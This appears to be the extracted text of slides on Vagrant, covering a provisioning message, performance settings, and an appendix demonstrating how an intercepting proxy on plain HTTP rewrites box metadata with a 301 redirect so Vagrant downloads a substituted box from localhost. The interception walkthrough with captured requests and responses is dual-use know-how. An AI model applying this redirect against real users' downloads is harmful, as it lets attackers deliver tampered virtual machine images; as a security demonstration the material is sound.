  echo "The App is running at http://#{hostname}."
EOF
```

*) post_up_message can only be a hard-coded string (see Issue #1968).
THE APPENDIX : PERFORMANCE

Setup Custom Box
Vagrant Packaging
Vagrant & Zombies
Provisioning
Additional Features
Performance
Intercepting Box Download
THE APPENDIX : PERFORMANCE

- increase box-cpu’s and box-memory

```ruby
config.vm.provider "virtualbox" do |vb|
  vb.name = 'new-name-of-the-box'
  vb.memory = 2048
  vb cpus = 4
end
```

- use NFS for synchronized folders* **

```ruby
config.vm.synced_folder "share", "/vagrant", type: "nfs"
```

- move write-intensive files out of the box
- prefer cache over disk

*) see https://www.vagrantup.com/docs/synced-folders/nfs.html

**) NFS folders do not work on Windows hosts.
THE APPENDIX : INTERCEPTING BOX DOWNLOAD

Command:
$ vagrant init <box> [url]

Connection over HTTP (MiM)
$ vagrant init debian/jessie64 http://vagrantcloud.com/debian/jessie64
$ vagrant up
Bringing machine 'default' up with 'virtualbox' provider...
==> default: Box 'debian/jessie64' could not be found...
    default: Box Provider: virtualbox
    default: Box Version: >= 0
==> default: Loading metadata for box 'debian/jessie64'
    default: URL: http://vagrantcloud.com/debian/jessie64
==> default: Adding box 'debian/jessie64' for provider: virtualbox
    default: Downloading: http://localhost/debian/jessie64/virtualbox.box
THE APPENDIX : INTERCEPTING BOX DOWNLOAD

Intercepting Meta-Data Retrieval Response:

```
GET /debian/jessie64 HTTP/1.1
User-Agent: Vagrant/1.6.5
Host: vagrantcloud.com
Accept: */*
Connection: close
```
THE APPENDIX : INTERCEPTING BOX DOWNLOAD

Intercepting Meta-Data Retrieval Response:

Forward  |  Drop  |  Intercept is on  |  Action

GET /debian/jessie64 HTTP/1.1
User-Agent: Vagrant/1.6.5
Host: vagrantcloud.com
Accept: */*
Connection: close

Forward  |  Drop  |  Intercept is on  |  Action

HTTP/1.1 301 Moved Permanently
Cache-Control: no-cache
Content-Length: 111
Content-Type: text/html
Date: Thu, 29 Sep 2016 20:58:24 GMT
Location: http://localhost/debian/boxes/metadata.json
Server: nginx + Phusion Passenger 5.0.29
Status: 301 Moved Permanently
X-Powered-By: Phusion Passenger 5.0.29
X-Request-Id: 0b37125b-25f9-4ca8-b14a-a722a3a691f3
X-Runtime: 0.002070
Connection: close
Vagrant Requests Local Repository Instead:

```
HEAD /debian/jessie HTTP/1.1
User-Agent: Vagrant/1.6.5
Host: localhost
Accept: application/json
Connection: close
```
Vagrant Requests Local Repository Instead:
THE APPENDIX: INTERCEPTING BOX DOWNLOAD

Vagrant Requests Local Repository Instead:

*) Content-Type requires to be 'application/javascript'. Otherwise the response is interpreted as Box-File!